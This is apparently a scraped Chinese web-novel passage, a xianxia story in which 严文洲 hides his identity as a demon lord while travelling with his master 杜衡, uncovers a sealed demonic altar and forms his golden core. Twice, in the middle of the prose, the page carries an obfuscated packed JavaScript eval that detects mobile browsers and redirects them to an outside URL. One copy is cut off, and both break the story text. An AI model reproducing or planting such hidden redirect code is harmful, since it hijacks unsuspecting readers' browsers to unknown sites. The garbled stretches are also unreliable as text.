中域这本破书,向来是如此干预四洲之事的么?他觉得古怪,只是此时实在无暇细想。说话的功夫,杜衡已然结束了和祁照水假惺惺的客套,剑拔弩张之时,形势再度变化。 又一道强横气息落到了这数十里荒汀中,只听有声音惊疑不定道:“崔庄主?” 严文洲看去,却是一青衫女子,腰间悬着一支笔,气质十分文雅。 多半是还真山庄的崔瑾。 他依稀记得,江家与还真山庄是近邻,关系颇为不错,江明紫更是和当年还不是庄主的崔瑾关系极好。 可,这人怎么也来得这么及时? 难道都在垂云汀安插了探子? 心念一动,严文洲立刻在灵台里翻起玄天卷所谓的预测来。 崔瑾扫了一圈,眼神在严文洲身上略一停留,便朝杜衡笑道:“杜宗主,好久不见,原还以为你不会再回东洲了,没想到今日居然在垂云汀碰见了。” 半点没给人时间,她立刻转向祁照水,话跟连珠炮一样蹦了出来,偏偏字字清晰,半点不含糊:“早就听闻祁掌教对明紫情深意重,这么多年都无法忘怀,如今看来果然不假!不过是弟子间的小事,居然也亲身前来,想必是时时关注垂云汀了,当年我还真山庄救援不及,致使憾悔万分,想来祁掌教也是觉得如此吧?” 祁照水的眼神微不可见地沉了一下,阴着脸点了点头便道:“当年那魔头触动垂云汀阵法,害得江家数百口人魂飞魄散,我搜查多日,本以为此地早已再无邪物,没想到今日居然又冒出个域外天魔,当真是遗患无穷!” 话音未落,一道杀气腾腾的金光便朝天魔而去,若是击中,天魔只有灰飞烟灭一个结局。 严文洲心中一冷,眸光森寒——无论如何,这祁照水,他定然是要杀的! 电光火石间,却是杜衡轻描淡写地一抬手,接下了那道金光,叹道:“祁掌教还是跟以前一样。” 看着这人明显要对着干的架势,祁照水微皱起了眉,一边琢磨着他到底知道了多少,一边义正言辞道:“我小蓬莱数名弟子命丧这天魔之手,怎么,如今我还得留着这天魔?”说话间,他手上显出一座宝塔,七彩明光顿时照得人睁不开眼,竟是要强逼杜衡交出天魔。 然而刹那,另一道清朗气息也荡了过来,严文洲只觉身体一轻,整个人便到了杜衡身后,熟悉的声音在前方响起:“此等伎俩,未免下作吧?” 祁照水像是听到了什么笑话,“下作?那还请杜宗主将岱屿岛的传承还与小蓬莱!” 严文洲神情古怪——杜衡,为什么会护着他? 虽然听起来,这人早与祁照水有旧怨,但总不至于恨到不加选择,把传闻中杀人如砍瓜切菜的东极道主当作盟友吧?若是处出了几分真情…… 他忽地笑了一声,正巧发现崔瑾的眼神落在了他脸上,准确的说,是面具上。 这面具,该是旧物。 严文洲心中一动,但崔瑾反倒先一步移开了眼神,朝杜衡道:“早就听闻太易宗有门秘术,名为旧影,不知可否一观?” 祁照水神情更冷,只嗤笑道:“天魔所言,如何能当真?” 被人三番五次泼脏水,杜衡却还是一脸平和,仿佛他天生被撬走了些什么情绪一样,“无论是天魔祭还是封灵阵,都分明是仙修手笔。况且,设下封灵阵的人修为卓绝,若非年深日久,绝不会泄露出半点气息来。不知以祁掌教的好眼力,先前可曾看出端倪?” 话刚开了个头,便有数以万计雨丝般的细线从天魔身上钻出,凭空织出一副画卷来。 垂云汀往昔依依在目,回溯术速度极快,几个眨眼的功夫,画面上便显出了一场天昏地暗的乱战。 即便是一闪而逝,七色宝光仍然十分显眼。 崔瑾愕然,“七曜羽!?” 祁照水神色淡淡,甚至露出了几分不耐,“崔庄主怎么连胡诌都信了?七曜羽乃镇山神器,若真是小蓬莱所为,方圆百里都能看见七曜羽的神光,如何瞒得了?”而下一刻,他也见鬼似的瞪大了眼,“明朔剑尊!?他……” 严文洲亦是一呆——设下天魔祭的仙修,居然是传闻中那位仙道楷模,明朔剑尊! 为什么? 难不成是有人易容成了明朔剑尊的模样?! 可那剑意,万万做不了假! 瞬息的功夫,画卷中的明朔剑尊已然半身染血,赫然是在用自己的血肉吸引天魔! 不等几人看个仔细,泛着一层朦胧灰光的画卷忽地断了。回首看去,天魔魇已然奄奄一息,薄若纸片,就在众人眼皮子底下化作了一团轻飘飘的灰烬。 “啊呀,这天魔实在太弱了,禁不住折腾。”杜衡的叹息随后响起。 严文洲猛然看向杜衡,仍然是平常那副温润如玉的君子面貌,可凭自己对他的了解——这人是故意的! 这,又是为了什么? 总不见得是为了明朔剑尊的名声吧? 察觉到他的眼神,杜衡侧过身,笑眯眯地朝他做了个噤声的手势。 早已是一片荒地的垂云汀一片死寂,许是先前那一场血案的缘故,如今的百川交汇之地虽然灵气充足,但鸟兽之声寥寥,十分冷清。 到底都是掌门人,惊诧了片刻便回过神来。 此事本就古怪,垂云汀自百年前江家出事起就经过数拨人的搜寻,偏偏这么大一个封灵阵和其中的天魔祭坛却一直没被看出来,而且,还跟明朔剑尊扯上了关系! 想来,其中隐藏的绝不是一般仙门秘事! 严文洲冷眼看着几人装着满腹狐疑,装模作样地说了几句场面话,便各自离去。 一个无人在世的江家毫无威慑力,即便真有铁证能证明百川江家的灭门出自小蓬莱之手,如今也不会有仙门世家会为其清算小蓬莱。 所以,还是得自己动手……严文洲嘴角勾起了一点弧度,如今一线机缘已至,金丹不过是找个地方闭关的事情。他忽然觉得若自己真是东极道主也不错——传闻中这位魔尊天资卓绝、修炼如吃饭喝水一样简单,当年突破炼虚期时的霞光半个东洲都能看见。 只是这样便有了个大仇人。好在那一位常年于玉虚峰顶闭关,轻易不下山门,要不然太易宗这山门位置,实在是太危险了。 思及此,严文洲颇有些唏嘘地看着杜衡。听祁照水的意思,太易宗恐怕也是为了避祸才南迁的,就这么小鸡三两只的门派当年能从小蓬莱手下离开,想来也是十分不容易。 只是此人,心机深沉,如今也不知心中有什么打算。 还真山庄和小蓬莱的人都走了,闻渊却没走。 先前她接了只传讯飞鹤便一直若有所思地看着杜衡,此时却走到严文洲身边压低了声音道:“这便是你的心上人么?” 严文洲早就领略过闻渊恐怖的敏锐度,但如今还是被她吓了一跳。正要摇头,本在查看封灵阵遗迹的杜衡却像是听到了什么,径直走了过来。 “那位明朔剑尊当真是了不得,修得是太清正道,却还能设天魔祭坛。传闻天魔祭主祭若不为天魔吞噬,便能实力大增,只是后患无穷,也不知他现下如何了。”说这话时,杜衡灰蒙蒙的眼睛一直停留在严文洲身上,似乎笃定他知道什么一样。 严文洲眯了眯眼,心知这人定然在封灵遗迹上发现了什么,再加上幻境中所见,应该足以让他知道自己二徒儿的真实身份,那现下便是试探了。 心念飞逝,只是短短一瞬。严文洲微微一笑,像是没听出他的话外音一样,“明朔剑尊既能杀了东极道主,想来应该没什么问题。若是他走火入魔……”想了想,他真心实意地建议起来:“太清宗定然大乱,说不定我们太易宗还能分一杯羹。” 杜衡:“……” 闻渊颇为赞同地点了点头。 杜衡恍惚了一瞬,居然觉得这样还挺好。被自己震惊了片刻,他幽幽叹了口气,看着自己二徒儿开口道:“既入我太易宗,那么前尘往事尽皆抛却,来日方长,望君珍重。” 这话听来古怪,杜衡的眼神更加古怪,温情中带着些怜悯,怜悯中带了些慈悲,仿佛严文洲是什么被天道捉弄的可怜人一样。 严文洲看得一怔,下意识地偏过头,心中戒备却已然松了许多。 琢磨了片刻,他总觉得杜衡不会对东极道主这么好,多半,是误会什么了。 误会好啊!无论是什么,总比东极道主这个麻烦精好吧! 严文洲嘴角一弯,点头道:“师尊说得是。” 闻渊左看右看,黑得瘆人的眼睛里难得出现了几分迟疑——这似乎和娘传讯里的信息有些对不上啊。思来想去,她还是决定先忘了那条传讯,按自己的来。主意一定, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073837|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻渊忽地转头朝杜衡行了个礼,“阁下既是太易宗杜宗主,那么如今夜游宫还请杜宗主兑现先前的诺言。” 看崔瑾和祁照水,严文洲便知太易宗确实不是个野鸡门派,多半还在东洲有些底蕴,要不然也不会扯进小蓬莱岱屿岛传承的事情里去。 要知道,岱屿岛千年前便脱离小蓬莱了。 可怎么夜游宫也和太易宗有交情? 难不成太易宗是仙魔两道通吃? 然而这么一个宗门,不应该家大业大么,怎么先前都没听闻过名字? 思索间,杜衡已然干脆利落地答应下来了,连问都没问夜游宫想让他做什么。 被拉上云舟后,严文洲才意识到不对——那一线碧蓝怎么愈来愈近了? 见严文洲神情疑惑,杜衡主动道:“东海有乱,夜游宫主当时正在海东城,恰好被绊住了,闻小友便请我去助力一番。” 杜衡说得委婉,在严文洲听来,便是夜游宫主把杜衡请去当打手了。只是,请一个修卜算之道的修士去打架,似乎有些古怪。 “阿蘅,你……” 话刚开了个头,严文洲便立刻心如死灰地闭上了眼,万分悔恨。先前在天魔幻境里叫成习惯了,如今心神一松,居然一时没改过来。 二徒儿胜券在握、心中有数的样子看多了,如今一副天塌要完,十分可怜的模样,杜衡一时看得十分新鲜,回答也不由慢了一拍。 严文洲本身便生着一副四洲顶级的皮相,昳丽中带着几分刀客的凌厉,像这样的人,若是再露出些许温柔,想来也没几个人能抵挡得了,明朔剑尊看上是再正常不过的了。只是不知两人之间到底出了什么事,世间竟然没有传出一点关于明朔剑尊道侣的消息,即便是两人分道扬镳、各奔东西,也该有些传闻才是。 不过既然自己算不出严文洲的命格,那说不定,明朔剑尊已然迈入渡劫期了…… 杜衡走神了一瞬,待到严文洲重又睁开眼,看向他时,才笑道:“不过是个称呼,你我并无太多师徒之实,若是叫不惯师尊,换别的也自然些。” 严文洲的眼神缓缓下落,杜衡今日这笑,颇是不寻常,倒像是跟闻渊讨教了一二,皮笑肉不笑似的。这人,到底知不知道自己就是东极道主的事?还是把自己当成了别的什么人? 想了想,其他称呼更不合适,他还是老老实实叫了声“师尊”。 杜衡也不知想到了什么,表情更微妙了几分。 两人一时无话。 严文洲有心问一问岱屿岛传承的事情,但害怕自己又顺嘴溜出些什么不该说的东西,最终老老实实闭了嘴,开始骚扰起系统来。 “统兄,钟慎和小蓬莱有仇么?” “啊?什么意思?” “若是无冤无仇,为何要我诛杀祁照水?” “这个……总部这么要求一定是由它的理由,只是暂时还不方便透露。” “应该不是为了小蓬莱的传承吧?” “呜呜呜——宿主你不要问了,我真的不知道……” 听着系统崩溃的声音,严文洲心情舒畅——若是和钟慎无关,那便是和玄天卷有关了。 待心海里的嘤嘤声告一段落,一道听来十分苦恼的心音悠悠出现:“统兄,我现下不过是筑基修为,要想诛杀祁照水,恐怕要等上许久,不知你可有什么良方?” 系统直觉这人要整些幺蛾子,立刻冷酷无情地来了一句:“没有!” 严文洲却没放弃,他早就发现这系统乍一看铁面无私、不近人情,实则蠢笨死板,只要稍微骗一骗,便能套出些东西来。 思及前不久在系统的预测模型里看到了一连串记录,又算了算时间,一道心音阴魂不散地出现在了心海里:“钟慎如今已然筑基,又在玉虚峰明朔剑尊座下,想来在宗门内大比中获得去春和台比试的资格并不难。我观玄天卷给的初版预测模型,钟慎理应在春和台名扬天下,想来如今最好亦是如此。若是祁照水死得快些,小蓬莱定然大乱,到时候钟慎的对手又少了几个,统兄以为如何?” 算盘打得震天响! 系统一下便听出了严文洲的言外之意,嗤之以鼻的同时又觉得还挺对的,尤其是004号系统最近工作进展极其顺利,竟有种后来者居上的架势,它已然生出了些危机感。 “钟慎的确会去春和台,他现在的条件也确实差了点。这样吧,等到你晋升到金丹期,系统会再更新一次,到时候我会调整任务。至于现在……” 破天荒的,系统十分主动地在灵台里展出一副地图,上有数个璀璨光点。 “这都是附近灵气充裕且较为安全的闭关地点,你好好选一个吧。” 就这讹诈系统的功夫,云舟已然开始下落,正好与图上某个光点缓缓重合。 严文洲本以为岛上会是一番昏天黑地的乱战,可定睛一看,披着大氅的夜游宫主却是端坐在冰桌边,和一群鲛人把酒言欢,周围还有一群上半身人模人样,下半身十分寒碜的虾兵蟹将捧着盘子待命。 声势浩大,场面和谐。 28.东洲事(五) 见两人落下,夜游宫主一下露出了十分意外的表情,似乎完全不能明白为什么杜衡会出现在这里,而目光触及严文洲脸上的面具,她更是惊得眼珠险些脱框。 夜游宫的人,还能露出这么丰富的表情?眼看着堂堂夜游宫主在短短几秒变幻了好几次表情,严文洲莫名觉得好笑,嘴角也当真扬起了一点,只是有面具挡着,完全看不出来。 闻渊该不会,是会错了意吧? 严文洲心念一起,忽地意识到,夜游宫主定是见过东极道主的,那她之前便已经认出了自己?可传闻中,夜游宫和东极道的关系,可不怎么样啊…… 严文洲想得虽多,嘴上却没透出半个音,只安静地站在杜衡身边,装弟子装得有模有样的,乍一看便觉得是个省心的好弟子。 望着两个人,夜游宫主微不可见地叹了一声,但人都已经来了,总不能再赶回去,况且,她要的人确实是来了,只是多带了一个而已。 多一个,说不定,还更好? 这么想着,她抬脚走了过来,引着两人向鲛人们走去。 鲛人们却都很高兴,一个个伸长了脖子看过来,尾鳍也都十分兴奋地拍起了水花,听起来十分热闹。 众所周知,鲛人们各个都是好色之徒,一见杜衡,眼珠子都快粘在他身上了,唯有中间一个浑身珍珠宝石,鱼身修长迤逦,看上去十分华贵的鲛人眼神落在了严文洲身上。 这面具是出了天魔幻境后自己跑到他手上来的,定然是旧物,严文洲隐约记得这东西能隔阻神识,一般修士看不穿他的样貌。但这面具到底模样奇异,他如今自己也不确定到底有多少人记得这东西。 不等夜游宫主介绍,中间的鲛人便问道:“道友看着十分熟悉,我们先前可曾见过?” 夜游宫主:“……” 严文洲沉默了一下,正准备开口,杜衡却上前一步挡在了身前,“想来不曾见过,我徒儿先前从未出过南洲。” 这人居然也扯起谎来了! 严文洲大为讶异,面上却配合地摇了摇头——不管先前见没见过,既然不记得,那便暂且当作没见过! 鲛人一下十分失望,悻悻地坐了回去,只是眼神还时不时过来转一圈。 夜游宫主视线扫了一圈,悠悠介绍起来。 严文洲听了片刻,不由多看了中间那鲛人一眼。这二愣子居然是海国二皇子! 海国封闭,一般修士只能趁着每年两次的海市才能进入其中,其余时候要么大着胆子偷偷溜进去,要么在外围望梅止渴地打转儿,说不定出来个鲛人看人顺眼便把人带进去。 只是如今并不是开放期,这位二皇子千里迢迢上岸自然是有正经事——天魔祭。 一个尸修头子,一个鲛人权贵,凑在一起为的便是这门要命的秘法。 天魔祭本是秘仪,如今却像是烂大街的地摊货一样,传得到处都是,不说夜游宫,就是远居海外的鲛人里都有鬼迷心窍,因此惨死的。 二皇子一打听,立刻带人冲上了岸,气势汹汹地要找夜游宫问罪。传闻中,天魔祭最先便是从夜游宫开始的,而夜游宫又和海国素无交集,所以定然是有不怀好意的修士混入海国,企图祸乱海国! 可和夜游宫主一见面,他便觉得自己多半被当枪使了。 一来,夜游宫本身不仅因为天魔祭损失了两大长老并一堆弟子,本就岌岌可危的名声还臭上了一个新高度,一时间几乎人人喊打,二来这也太明显了! 若他不问三七二十七直接带着人和夜游宫打起来,那么最终得利的,不是小蓬莱,便是九霄剑派和还真山庄! 两相权衡下,二皇子不仅没打架,还带着人在海东城安安稳稳地住了下来,平日里不是带着手下吃喝玩乐,就是在吃喝玩乐的路上,把海东城搅和得鸡飞狗跳,没一天安宁日子。 于是乎,夜游宫主本就青白的脸色朝着惨白一去不复返。 看二皇子的眼神和夜游宫主的表情,严文洲觉得夜游宫主多半是打着把自己叫来吸引注意力的念头,只是没想到杜衡突然出现在了这里。 宴席结束,宾主尽欢,二皇子施施然立了起来,珠玉贝壳叮当作响,半身华贵的鳞片在阳光下流光溢彩,隐没在海中的尾鳍轻柔地拍打着海水。 顶着如此模样,他展开一个彬彬有礼的笑,朝严文洲伸手道:“严道友,我与你一见如故,不知可否邀你同游?” 严文洲遗憾摇头,平心而论,这位二皇子的上半身是极好看,可问题是,他还是比较喜欢长得像人的。 “多谢二皇子好意,有缘再见。” 二皇子十分失望,再想说话却被一股莫名的力道弹了出去,回过神来,眼前已经多了一个巨大的结界,白发修士在结界外守着,看向他的眼神莫名冰冷。 就在杜衡应邀前往海东城歇息时,严文洲给他送了道传音:“师尊,能否容我结个丹先?” “……自是可以。” “嘀——检测到大量能量输入,正在充能,充能过程请保持能量输入端口链接稳定,请勿中断,以免意外事故的发生。” “嘀——正在充能中,进度30%,35%,45%……” “嘀——系统更新升级中,任务模块正在升级,检测到宿主环境偏离,正在调整任务中,进度10%,20%,30%……” …… 一颗滴溜圆的金丹出现在丹田中,繁复花纹隐现其上,甫一出现,奇经八脉内的浩荡灵力便仿佛有了归处,沿着循环归入其中,又再次流出。 严文洲缓缓睁开眼,眼前是浩荡海波,汹涌波涛尚未平复,若有船行其上,除非风波里出没惯了的老手,要不定然会被海浪拍到海底。 拍拍身上的衣衫灰烬,他慢条斯理地换了一身,一边又给系统送了道十分不客气的心音:“统兄,方才那三道天雷不会是你引来的吧?” 结个金丹被天雷劈,古往今来也没几个人,不是造孽造太多了,就是天生不受天道待见的倒霉货,严文洲自诩两者都不是。反倒是玄天卷,传闻当年降临至中域的时候,天道三天内落下万道天雷,险些将中域劈成了一片火域。 “啊,这个……应该也许可能不是吧,”系统的声音听来尴尬中带着几分谄媚,“定然是因为宿主天资惊人引得天道嫉妒,才会落下天雷!” 严文洲嗤笑一声,才不信。 天道有什么好嫉妒的?最多也就是某人晋升的时候,看这人人品不错给点不值钱的霞光。 “统兄,你听听你的声音,像是问心无愧么?” “哈、哈,这个……” “若非我还算有些实力,那天雷一落我岂不是要被劈死了?饶是如此,我也因你多受了不少苦,俗话说冤有头债有主,你就这么笑两声算了?” 严文洲说得毫不客气,甚至有些咄咄逼人,系统本就理亏,又被他训出了些许条件反射,此时只哼哼唧唧道:“那我也没办法啊,谁知道会有天雷呢,这样吧,我任务奖励给你翻倍行了吧?” 严文洲扫了眼任务,十分满意。 走出结界,杜衡居然还守在边上,见他出来便温声道了句恭喜。银绸般的发丝被束在了玉冠中,发梢被海风吹得飘扬不止,依稀有了几分温蘅的模样。 明明幻境中的温蘅便是杜衡,但温蘅是差一点就成了的道侣,而杜衡…… 严文洲一时不知道用什么表情回应,迟疑了一瞬才念了几句客套话,敷衍味十足。 杜衡却像是没听出,甚至连天雷之事都没多问,只道夜游宫主已在海东城为他们备下了房间,便拉着严文洲上了云舟。 泛着流光的宽袖滑过手腕的瞬间,严文洲心里一激灵,觉得先前算盘打空,如今怕是要演不下去了。 一路无话,云舟到达海东城时,立刻便有夜游宫的修士前来接应,把他们引到了一处僻静的别院里,而后便知趣地走了。 踏过□□,又行过石桥,辗转几个弯,眼前豁然开朗,出现了几间客房。 严文洲选定一间,正要推门只听耳边幽幽传来一句:“那面具,是旧物么?” 手一抖,雕花门框顿时多了几道裂纹。 “……师尊曾经见过?” “未曾见过,只是见它模样古怪,徒儿又十分珍惜有些奇怪。是为师多问了。” “约莫是旧物吧,不过是个小玩意儿罢了,师尊若喜欢,拿走便是。” “不至于此。” 轻细脚步声接连传来,顿了顿,又是一声推门声。严文洲骤然回神,匆忙也推门进去。 然而杜衡却并没有进房间,看着严文洲消失在门后,忽地冷笑一声——呵,如明朔剑尊那般冷酷之人,居然也会为了心上人做这等物件。 线条粗鄙、色彩怪异! 嘴角方才掀起一抹不屑的笑,杜衡一愣,意识到自己十分不对劲——自己这是在干什么?难不成天魔的影响还没有完全消退!? 他下意识地摸出蓍草,摩挲了几下却又塞回了储物袋中,表情更复杂了几分。 关门声缓缓飘散,院中重新恢复安静,只偶尔响起几声清脆鸟鸣。 严文洲没发现杜衡的古怪。自新月湾秘境至郁林城,又从郁林城到垂云汀,最后跑到这海东城,顺道的结了金丹,眨眼的功夫,一个多月便过去了。 期间,任务进度是一点没动的,钟慎自己倒是成功拜入了玉虚峰,也不知今后要做剑修还是丹剑双修。 看最初一版的预测线,严文洲觉得多半是后者。 经过更新升级后,系统现下给出的任务相当简单——搜集到一斤千年陨铁、三两水龙胆和半两凤凰血琥珀,还有一株已生灵智的千年红珊瑚。 不消说,都是给钟慎准备的。 虽然样样都是好东西,且用量不菲,但系统并没有给出时限。 即便算上春和台比试的时间,也还有一年多可以准备,况且说不定还能从海国二皇子身上抠出点来。若是再利用一下自己东极道主的身份,那该是易如反掌。 严文洲十分自信。 因此,当务之急便是……杜衡到底误把自己当成谁了?温蘅又是哪一号人物? 既是三都山温家的人,又修为不错,那应该不是那个险些变成天魔祭祭品的少年了。温家的人,哪有可能流落到那种境地。更何况,他还诡异地和东极道主差点结成道侣,这样的人合该留下姓名才对。 严文洲支着脑袋想了又想,茶水空了又倒,倒了又空,变着法儿在系统里检索了好几遍,直到可用次数都用光了,仍然没有可疑人选。 姓温又和江家关系不错的,倒是有一个——明朔剑尊。 可世人皆知,明朔剑尊和东极道主乃是死敌,怎么会浓情蜜意到差点结下同心誓的地步呢? 严文洲幽幽叹了口气,觉得若不是东极道主曾经对明朔剑尊单相思到疯魔,以至于记忆全消后还留下了残余,便是东极道主曾经的那位道侣已然身陨道消了。说不定,还是东极道主自己杀的。毕竟,能把消息完全抹掉也非一般人能做到的。 除了东极道主自己不想让世人知道,要不然谁会费这么大力气干这种事? 那杜衡……严文洲再度踌躇了起来。 “宿主,你没有别的要求了吧?我好累。”系统疲惫无力的声音响起。 难得听系统如此直白,严文洲回神,笑了一下,残忍道:“还有。知己知彼,百战百胜,你可有祁照水的情报?” 同一时间的太清宗,向来无人的山门处多了名女子,眉目清朗,腰间悬笔,周身气息收敛得十分平和。 守山是个苦差,风吹雨淋不说还十分无聊,两个弟子正打着瞌睡呢,面前便忽然来了一人,差点还以为是自己眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“请——”再次有声音回荡在六峰十二谷中。 太清掌教不可思议地瞪大了眼,这个声音……这个声音分明是他那师弟!他急急忙忙往殿外飞掠而去,可已经来不及了,只看见了崔瑾没入玉虚峰的影子。 不、不是,他这师弟什么时候转性了? 明朔剑尊并不意外崔瑾的来访,看着她落下,便直接道:“封灵阵确实我下的。”没等崔瑾反应过来,他又继续,“天魔祭坛也确实我做的。” 崔瑾深吸一口气,摘下腰间添一笔,看向明朔剑尊的神情已然变得冷硬,一抹杀机悄然出现在眼中。 一时剑拔弩张。 这人分明还是那个温蘅,可百年光阴流转,谁都有可能变得不一样。天魔祭引来天魔,吞噬心神,变成疯子并不奇怪。 只可惜了他的弟子。 崔瑾微不可见地朝贺循看了一眼,示意他赶紧走。谁知贺循不知道是没体会到还是心大,两脚跟生了根一样,抱着剑半点不带动的。 僵持许久,崔瑾才叹了一声,问道:“为何?” “问一个答案。” 明朔剑尊的声音很轻,却并不柔和,直而冷,就跟他的剑意一样,仿佛万古寒风直扑而来,却不是对着她,而是去叩问天道。 崔瑾怔愣了一瞬,又细细打量了这人一眼,心里已然信了七八分。 江家灭门之时,她只恨自己救援不及,她后来继任庄主后才渐渐明白,有些事情远非一人之力所能及。 是还真山庄和九霄剑派都救不了么?还是没有必要?又或者早已心知肚明?东洲就那么大的地方,灵脉更是有限,江家独占其三,已是广大。只是不知那人…… 她闭了闭眼,又道:“问到了么?” 明朔剑尊无声点头,嘴角泄出来一分笑意。 不经意间瞥见这抹笑的贺循惊呆了,险些把本命剑砸自己脚上。 添一笔又回到腰间,玉虚峰云海翻涌,风声呼啸而过,崔瑾骤然觉得十分疲惫,似乎百年奔波都在这一刻爆发了出来。 怔愣了片刻,她扭头认真道:“垂云汀荒废多年,盯着的不止我一个,封灵阵存在多年,如今骤然衰弱,你可要当心了。” 封灵阵的强度是和阵主相关联的,崔瑾的言外之意很明显。 剑尊平淡地点了点头,没再多说什么,只道:“听闻还真山庄不日有一场论道,不知崔庄主可否让我徒儿旁听一二?” 崔瑾有些讶异,虽说风雨论道是东洲仙修盛会,但太清宗远在南洲,向来对此是没什么兴趣的,今日是怎么了? “自是可以。” 点头答应了之后,她不免又问了一句明朔剑尊自己的打算,得知他也会来时,神色更是怪异——这人上一次离开玉虚峰,似乎还是东极道主前来挑战的时候? 崔瑾是个利落爽快的,来也匆匆去也匆匆。 眼看着玉虚峰结界再度落下,贺循不再犹豫,上前道:“师尊,近日温世宜和师弟走得极近,徒儿好几次看见他与师弟同进同出,要不要……” 贺循话说得谨慎。 事实上,在他看来,钟慎和温世宜好得简直要穿一条裤子了!猎杀妖兽、搜集灵草……两人形影不离!平日里出玉虚峰的时候十次有九次能看见他在玉虚峰下等钟慎! 若是其他人,也就算了,可温世宜…… 一想到好友传过来的那些消息,贺循的脸色便不大好看——钟慎这小子,定然是被蒙蔽了! 剑尊眉头明显皱了起来,脸上多了些冷意,许久才道:“叫上钟慎,让他收拾行李一起去东洲。” “是!” 贺循轻轻呼出口气,点了点头。 不知想到了什么,剑尊望向云海的表情重又恢复平静,甚至有些……柔软? 贺循眨巴了下眼睛,确认自己没有看错,大着胆子道:“师尊似乎,闭关后便心情极佳?” “嗯,做了一个好梦。” 29.东洲事(五) 万里外,系统半点没接到钟慎要来东洲的消息,严文洲仍自在海东城和海国二皇子瞎晃悠。 海国,顾名思义便是一群海中精怪组成的势力,又因延续着上古旧俗,没管自己叫什么宗啊、派啊的,只给自己起了个十分霸气的名字,顺道还含混地把几乎所有海域都划在了自己名下。 海国势力众多,这其中便是鲛人最为势大。仗着祖上有钱有传承,自己的天资又多半不错,鲛人们在一众大大小小的妖怪里显眼得突出,平日里和修士往来的,多半都是这群鲛人。 有夜游宫主对天魔祭彻查到底的保证在前,二皇子似乎完全忘了自己上岸是来干什么的,一听到太易宗师徒二人到了海东城,便屁颠屁颠地敲响了洞天别院的门,邀请严文洲一起领略海东城风情。 当然,用二皇子的话来说,便是“招待贵客”。 可海东城乃是夜游宫的地盘,他一个海国来的算什么? 听闻手下战战兢兢地上报两人近日的荒唐行径时,夜游宫主却神色大悦,挥手便给了手下一个储物袋,说什么两人远道而来,聊表心意云云。 既如此,严文洲便愈发心安理得了。正巧金丹初结,他也得压一压修炼进度,免得让人以为四洲又出了一个修炼天才,便成日里听曲儿看戏,铁了心要避开杜衡。而蜃珠里那两个倒霉魔修,则被他有意无意地直接忽略了——既已经想起了自己的身份,又尚未想起这两人的身份,那还是谨慎为好。 不远万里跑过来又如何?做个样子而已,谁不会? “严道友,辉鸿阁今日递了请帖,说是有重宝拍卖,不知……”话没说完,二皇子便见严文洲随意点了点头,“行啊。” “……” 高兴么?自然高兴!这人不仅容貌相似,行事风格也和那一位如出一辙,要不是确信那一位没有兄弟,他都要觉得碰上双生子了。 可这人的无所谓又毫不掩饰,一看便知他只是字面意义上寻乐子,毫无其他想法! 真是坦荡得令鲛生气! 二皇子暗自憋屈了一会儿,很快又道:“那便太好了!严道友看上什么只管和我说,我别的没有,灵石倒是多得是!” 严文洲放下茶盏,似笑非笑地看了眼一脸骄傲的鲛人,毫无愧疚之情。 多日试探,他算是明白了,这位海国二皇子求而不得的意中人,便是东极道主! 海国奢靡,向来重视排场,如二皇子这般上岸搅浑水的更是如此。只见辉鸿阁门口,两排虾兵蟹将整整齐齐排开,中间是一道半丈宽、三寸厚的宽阔水波,二皇子就这么缓步行于其上,一身珍珠宝石在水波映衬下闪出夺目光彩,晃得闪瞎人眼。 就连辉鸿阁出来迎接贵客的管事都惊呆了,笑容僵在脸上宛如木偶。 有事迟来一步,正夹在人群中看热闹的严文洲啧了一声。这架势,真是生怕别人不知道今日辉鸿阁来了只大肥羊! 正要飞速掠进去,背后却传来一个温润的声音,“徒儿?” 严文洲扭头一看,正是自己多日未见的好师尊,神情一如既往的平和,好似这些天的避而不见他半分都没察觉到一般。 辉鸿阁能做到遍及四洲,自然有自己的情报来源,师徒二人来了海东城不多时他们便得了信儿,今日自然也给那一处洞天别院递了帖子。本没指望人来,可谁知他就真来了呢!管事的先迎了二皇子进门,一眼瞥到人群中醒目的银发,顿时大喜过望,抬脚便要走来,看到这贵客身侧还有另一道有些眼熟的身影时,又十分知趣地停住了脚。 严文洲本打算再摸出面具带上,但杜衡像是知道他要做什么一样,轻轻按住他的手,自己掏出一个坠子来,“徒儿,人多眼杂,还是遮掩些得好。” 坠子通体玉白,上雕日月星辰,繁复阵纹闪烁其中,一看便知是遮掩气息的好东西。 严文洲一怔,没接——杜衡他这是什么意思? 几日不见,这位万事皆可的好好师尊似乎转了性,见没反应便直接俯下身,硬是自己把坠子挂到了严文洲腰间。挂完了,这人还一脸若无其事道:“走吧。” 严文洲心中一动,立刻给系统送了道心音:“统兄,我先前问你可能探测心魔的事,你没诓骗我吧?” “自然没有!” “那杜衡身上……” “这我怎么知道!?我又不在他身上!” 严文洲明白了,可犹自不死心,“那你可有别的法子?” “我又不是大罗神仙!” 严文洲喟叹着点头。确实,系统时不时便在关键时刻掉链子。 说话间,两人已经走到了二皇子身边。到底是修为在身,二皇子只觉得这银发修士身边的青年虽然长着一张一看就忘的脸,但却透着股莫名的熟悉感。 正想着,他便看见银发修士朝他看了一眼,眼神微妙。 与此同时,胖乎乎的管事急急跟了上来,朝另一边做了个请的手势,谄媚道:“杜宗主,这边请。” 似曾相识的青年冲他笑了一下,熟悉感顿时更上一层楼。 那就没错了! 二皇子立刻上前,“严道友,不若我们一起吧?” 严文洲两边看了看,觉得拉上二皇子确实不错——杜衡看上去可不像是很有家底的模样。 看太易宗那个鬼样子,杜衡即便是有灵石,也得全贴进去。 可杜衡却没动,轻飘飘地扫了眼二皇子便给严文洲传了道音:“徒儿,此人行事招摇,花心浪荡,又是海国人士,风俗与四洲大大不同,恐非良配。” 